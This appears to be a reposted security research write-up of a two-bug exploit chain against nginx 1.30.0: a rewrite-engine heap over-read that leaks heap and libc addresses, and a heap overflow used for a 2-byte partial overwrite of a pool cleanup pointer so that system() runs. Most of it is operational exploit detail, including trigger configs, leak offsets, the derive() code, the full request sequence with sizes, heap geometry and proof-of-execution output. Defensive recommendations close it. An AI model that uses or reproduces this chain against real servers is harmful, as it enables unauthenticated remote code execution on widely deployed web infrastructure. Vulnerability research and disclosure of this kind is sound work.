Two Bytes to RCE: Chaining Rift + PoolSlip into an ASLR-Independent nginx 1.30.0 Exploit

Two Bytes to RCE: Chaining Rift + PoolSlip into an ASLR-Independent nginx 1.30.0 Exploit

Original text: “Two Bytes to RCE: Chaining Rift + PoolSlip”y198, Verichains (Jun 06, 2026). Code, tables and figures below are reproduced verbatim with attribution captions. PoC: github.com/y198nt/Nginx-chain-Rift-Poolslip.

Executive Summary

A two-bug chain in nginx 1.30.0 achieves unauthenticated remote code execution without relying on ASLR breaks. The first bug, CVE-2026-42945 (“Rift”), is a forward heap overflow in the nginx rewrite engine triggered when an is_args flag mismatch causes the query-string portion of a rewritten URI to be copied into the main URI buffer, overflowing past its allocated capacity. Alone, Rift is difficult to weaponize: the overwritten bytes must be URL-safe, and a full 6- or 8-byte pointer write in that constrained alphabet has negligible probability against 34-bit ASLR. The second bug, CVE-2026-9256 (“PoolSlip”), is a heap over-read in the rewrite engine that inflates $args far beyond the legitimate query string, exposing raw heap pointer values to a reflected response body.

The author, y198 of Verichains, chains these two bugs into an ASLR-independent exploit: PoolSlip leaks heap_base and libc_base in a single GET request, and Rift then performs a precise 2-byte partial overwrite of an ngx_pool_cleanup_t pointer already on the heap, redirecting it to a controlled record region that contains a fake cleanup entry pointing handler = system and data = cmd. When nginx closes the victim connection and calls ngx_destroy_pool, the cleanup walk calls system(cmd), achieving RCE at roughly 90% reliability in Docker on Debian 13 / glibc 2.41.

TL;DR

  • CVE-2026-42945 (Rift): forward heap overflow in nginx rewrite; restricted to URL-safe bytes only.
  • CVE-2026-9256 (PoolSlip): args-inflation over-read; reflects raw heap/libc pointers in the response body.
  • 2-byte partial overwrite of pool->cleanup is ASLR-independent — only the low 2 bytes change, and both bytes must be URL-safe (very achievable with correct target selection).
  • Leak → groom → write → cleanup walk gives unauthenticated RCE on nginx 1.30.0 in ~90% of attempts.
  • Tested on Debian 13 / glibc 2.41 inside Docker; Ubuntu layout differs (libc/heap positions differ in brk cluster).
  • Full PoC: github.com/y198nt/Nginx-chain-Rift-Poolslip.

1. The Two Bugs

1.1 Rift: is_args Heap Overflow

Rift is triggered by a rewrite rule whose replacement URI contains a literal ? query delimiter. When the nginx rewrite engine processes such a rule, an is_args flag mismatch causes the captured query string to be appended to the main URI buffer rather than the args buffer, overflowing the allocation by exactly the length of the appended data. Because the overflow travels through URL parsing, every overwritten byte must be URL-safe — a constraint that becomes the central challenge for the exploit. A minimal trigger config:

location ~ ^/api/v1/(.*)$ {
    rewrite ^/api/v1/(.*)$ /internal/$1?api_version=2;   # replacement has '?'
    set $resource $1;                                    # copies the capture
}

1.2 PoolSlip: Args-Inflation Over-Read

PoolSlip exploits a different rewrite path where the $args variable’s length accounting is inflated far beyond the actual query string. The discrepancy causes nginx to include raw bytes from the heap in the reflected $args value, leaking pointer-sized data from memory regions allocated near the request pool. A minimal PoolSlip trigger:

location ~ ^/search/(.*)$ { rewrite ^/search/((.*))$ /lookup?$1$2 last; }

The inflated $args value is returned in a 503 error response via:

location /lookup { proxy_pass http://search_index; proxy_intercept_errors on; error_page 502 504 = @search_unavailable; }
location @search_unavailable { return 503 "Search temporarily unavailable. Query: $args\n"; }

2. Why Chain Them

Rift alone requires knowing a valid heap address to write a useful payload: the overflow target must point somewhere controllable, and that somewhere is randomized by ASLR. The public PoC shipped with hardcoded constants that only work with ASLR disabled:

HEAP_BASE  = 0x555555659000
LIBC_BASE  = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70

Against real ASLR, a full 8-byte pointer write with URL-safe-only bytes succeeds in fewer than 1% of attempts per run (see §3.1 below). PoolSlip solves this by leaking heap_base and libc_base before any write attempt, allowing the exploit to compute exact target addresses and dramatically reduce the write size to just 2 bytes — the low-order 16 bits, which can be selected to always be URL-safe.

3. The Exploitation Idea

3.1 The Problem: Full Heap Writes Are Rarely URL-Safe

Only 79 of the 256 possible byte values are URL-safe (roughly 31%). The chance that all 8 bytes of a randomly-chosen heap address are simultaneously URL-safe is (79/256)^8 ≈ 0.09%. Monte-Carlo sampling over the actual 34-bit ASLR entropy of the test system confirms this is not a workable strategy:

|SAFE| = 79 / 256   P(one random byte URL-safe) = 0.3086
safe bytes: 21 24 27 28 29 2a 2c 2d 2e 2f 30..3a 3d 40..5b 5d 5f 61..7a 7e   (i.e. mostly
            alnum + a few punctuation; NOT 0x00, 0x5c '\', 0x5e '^', 0x60 '`', high bytes, …)
real bases sampled: 20   entropy mask = 0x3ffffffff000   (34 varying bits)
high byte5 observed: 0x58..0x65

REAL bases: mean URL-safe candidates / base = 0.000 ; bases with >=1 = 0/20   not one worked

MONTE-CARLO over measured ASLR entropy (2,000,000 samples):
  single fixed target writable            ≈ 0.91 %
  P(>=1 writable of all 30 spray landings) ≈ 3.13 %   absolute per-run ceiling

3.2 The Fix: A 2-Byte Partial Overwrite

The insight is to target a cleanup pointer that already exists on the heap and only change its low 2 bytes. If the spray places records at a predictable offset from heap_base, then pool->cleanup‘s low 16 bits can be redirected to point at one of those records by writing exactly two bytes. Two URL-safe bytes drawn from the 79-byte alphabet have a much higher probability of representing a useful value, and the high bytes — unchanged by the overwrite — ensure the full pointer remains in the same memory region.

Cleanup pointer 2-byte partial overwrite diagram
The 2-byte partial overwrite redirects pool->cleanup low 16 bits to the attacker-controlled tiled record. Source: original article.

3.4 The Full Exploit Flow

The complete attack sequence implemented in the attempt() function of exp_official.py:

0. warm-up: ~40 × GET /search/+×300   (churn the heap so the off-1729 libc-cluster ptr settles)
1. leak:    GET /search/<+ ×350>      → derive libc_base, heap_base, &system
2. sprays:  8 × held POST /api/upload  (#0 = command holder, rest = tiled records)
3. groom:   open 16 bare TCP conns, then close them just before the victim connects
4. rift a:  GET /api/v1/<A×9 + (+)×1005 + YYYY>   (held by the /internal proxy → backend latency)
5. victim v: held POST /api/upload with the tiled body  (gets the limit_conn cleanup)
6. + 24 post-victim held sprays (more record runs above the cleanup pointer)
7. fire:    finish a's request → the `set` overflows → writes YYYY at v->pool->cleanup[+0x40..+0x41]
8. close v → ngx_http_free_request → ngx_destroy_pool(v->pool) → cleanup walk → system(cmd)

4. The Info Leak

PoolSlip inflates $args to expose raw heap data in the 503 error response. At byte offset 1489 in the inflated $args, a heap pointer allows computing heap_base. At offset 1729, a pointer into the libpcre / regex heap cluster sits at a fixed negative offset from libc. The GDB views below show each pointer in place:

GDB output showing heap pointer at $args[1489]
GDB output: heap pointer at $args[1489] used to derive heap_base. Source: original article.
GDB output showing libpcre pointer at $args[1729]
GDB output: libpcre pointer at $args[1729], offset -0xb0ad08 from libc_base. Source: original article.

A note on platform specifics: on Ubuntu the “big POST body mmap below libc” trick works, but on Debian 13 / glibc 2.41 large allocations land in the brk/PIE cluster rather than below libc. The libpcre pointer at offset 1729 provides a portable leak path on Debian. The derive() function (from exp_official.py):

WARMUP = 40   # ~40x GET /search/+×300 first, so the off-1729 libc-cluster pointer settles
def derive(args):
    libc = (int.from_bytes(args[1729:1737], "little") + 0xb0ad08) & ~0xfff   # & ~0xfff: page-align
    heap =  int.from_bytes(args[1489:1497], "little") - 0x28610
    return libc, heap
# system = libc + 0x53110

Live leak output from a successful run:

[*] heap_base=0x5a043fe2f000
[*] libc=0x7d6b8228d000 
[*] system=0x7d6b822e0110 (system = libc + 0x53110)

5. The Write Primitive

5.1 The Victim’s Cleanup Pointer

The 2-byte overwrite targets the cleanup field of ngx_pool_t at offset +0x40. The relevant nginx pool struct layout:

typedef struct {                          //                           offset in ngx_pool_t
    u_char               *last;           //   d.last                   +0x00
    u_char               *end;            //   d.end                    +0x08
    ngx_pool_t           *next;           //   d.next                   +0x10
    ngx_uint_t            failed;         //   d.failed                 +0x18
} ngx_pool_data_t;

struct ngx_pool_s {                       // == ngx_pool_t
    ngx_pool_data_t       d;              //                            +0x00
    size_t                max;            //                            +0x20
    ngx_pool_t           *current;        //                            +0x28
    ngx_chain_t          *chain;          //                            +0x30
    ngx_pool_large_t     *large;          //                            +0x38
    ngx_pool_cleanup_t   *cleanup;        //   <-- what we corrupt      +0x40
    ngx_log_t            *log;            //                            +0x48
};

struct ngx_pool_cleanup_s {               // == ngx_pool_cleanup_t  (24 bytes)
    ngx_pool_cleanup_pt   handler;        //   called as handler(data)  +0x00
    void                 *data;           //                            +0x08
    ngx_pool_cleanup_t   *next;           //                            +0x10
};
ngx_pool_t and ngx_pool_cleanup_t struct layout
ngx_pool_t and ngx_pool_cleanup_t layout showing the target cleanup pointer at +0x40. Source: original article.

5.2 Landing the Write

With heap_base known from the leak, the exploit computes the exact position of the victim pool’s cleanup pointer and the spray landing addresses. The heap geometry and URI-length fixpoint calculations:

victim cleanup field   = S + 0xbd0           → N + 3K = 0xbd0  →  N=9, K=1005  (fixpoint; URI stays <2k)
cleanup pointer value  = heap_base + 0x1001f8 → block = (heap_base+0x1001f8) & ~0xffff
command holder spray   = heap_base + 0x28680  → cmd_ptr
record runs (167 recs, 24-byte stride) straddle the cleanup ptr: heap_base + {0xe4ef0 … 0x157470}

5.4 The Cleanup Walk Calls system()

When the victim connection closes, ngx_http_free_request calls ngx_destroy_pool, which walks the cleanup list. The corrupted cleanup pointer redirects the walk to the attacker-controlled fake ngx_pool_cleanup_t record where handler = system and data points to the command string. GDB shows the system() breakpoint hit:

GDB at system() breakpoint triggered by corrupted cleanup walk
GDB at the system() breakpoint, triggered by the corrupted cleanup walk in ngx_destroy_pool. Source: original article.

Docker verification of successful code execution:

$ docker exec nginx-rift-official cat /tmp/rce_proof
uid=101(nginx) gid=101(nginx) groups=101(nginx)

6. Reliability & Notes

In the Docker test environment on Debian 13 / glibc 2.41, the exploit achieves roughly 90% reliability per attempt. The main failure modes are heap layout variance between warmup runs (the off-1729 libpcre pointer takes ~40 requests to settle into a stable position) and occasional timing races in the groom phase (16 bare TCP connections must be opened and closed in the correct window). The Monte-Carlo analysis confirmed a single fixed target address has only ~0.9% URL-safe probability under full 34-bit entropy; the 2-byte partial overwrite bypasses this entirely since the target low bytes are selected to be URL-safe by construction.

The Debian 13 heap layout diverges from Ubuntu in one critical way: on Debian glibc 2.41, large allocations cluster in the brk/PIE region rather than mapping below libc. The libpcre pointer at $args[1729], offset -0xb0ad08 from libc_base, is the stable leak primitive on Debian. Exploit developers targeting other distributions should re-derive the offset from $args[1729] to libc_base using GDB on their specific environment.

7. Credits & References

Key Takeaways

  • A 2-byte partial overwrite of an existing heap pointer is ASLR-independent — the high bytes are preserved, only the low 16 bits change, and those can be selected for URL-safety.
  • Heap over-read bugs that reflect data in error responses (PoolSlip) are critical enablers for chained exploits even when they produce no direct memory corruption.
  • nginx’s cleanup callback mechanism (ngx_pool_cleanup_t) provides a clean code-execution primitive: control handler and data, trigger pool destruction, get a function call.
  • URL-safe byte constraints on heap overflows are a real but not insurmountable obstacle; partial overwrites and pre-computed spray targets sidestep the alphabet restriction.
  • Glibc/distro heap layout differences (Debian vs. Ubuntu brk cluster placement) require per-environment leak calibration — offsets derived on one distro will not transfer directly.
  • Warmup requests (~40×) are necessary to stabilize the heap before attempting the leak; this is a recurring pattern in multi-stage heap exploits.
  • ~90% reliability on a real containerized service demonstrates that this class of exploit is operationally viable, not just a lab curiosity.

Defensive Recommendations

  • Upgrade nginx beyond version 1.30.0 where CVE-2026-42945 and CVE-2026-9256 are patched.
  • Audit rewrite rules: avoid configurations where the replacement URI contains a literal ? followed by a variable copying user-controlled input into the main URI buffer.
  • Do not reflect $args verbatim in error responses — truncate or sanitize $args before including it in error_page location handlers.
  • Run nginx as a non-root, minimally-privileged user with a read-only filesystem where possible, limiting post-exploitation impact.
  • Deploy nginx inside a container or VM with seccomp and AppArmor/SELinux profiles that block execve syscalls from the worker process.
  • Enable limit_conn and limit_req globally to reduce the attacker’s ability to hold many concurrent connections for heap grooming.
  • Monitor for anomalous patterns: large numbers of held connections from a single IP, 503 responses with unusually large bodies, and repeated rewrite-path requests in short bursts.
  • Validate that intrusion detection rules cover partial pointer overwrites, not just obvious full-write shellcode patterns — this exploit produces no shellcode at all.

Conclusion

The Rift + PoolSlip chain is a clean demonstration that two individually-difficult-to-exploit bugs can compose into a reliable, ASLR-independent RCE when a leak primitive is correctly paired with a constrained write. The 2-byte partial overwrite technique avoids the URL-safe alphabet trap entirely by targeting an existing pointer and only modifying its low 16 bits. As nginx is deployed at massive scale as a reverse proxy and web server, this chain — and the class of techniques it represents — deserves careful attention from both operators upgrading to patched versions and researchers hunting variant bugs in rewrite-engine code paths.

Original text: “Two Bytes to RCE: Chaining Rift + PoolSlip” by y198 at Verichains.

Comments are closed.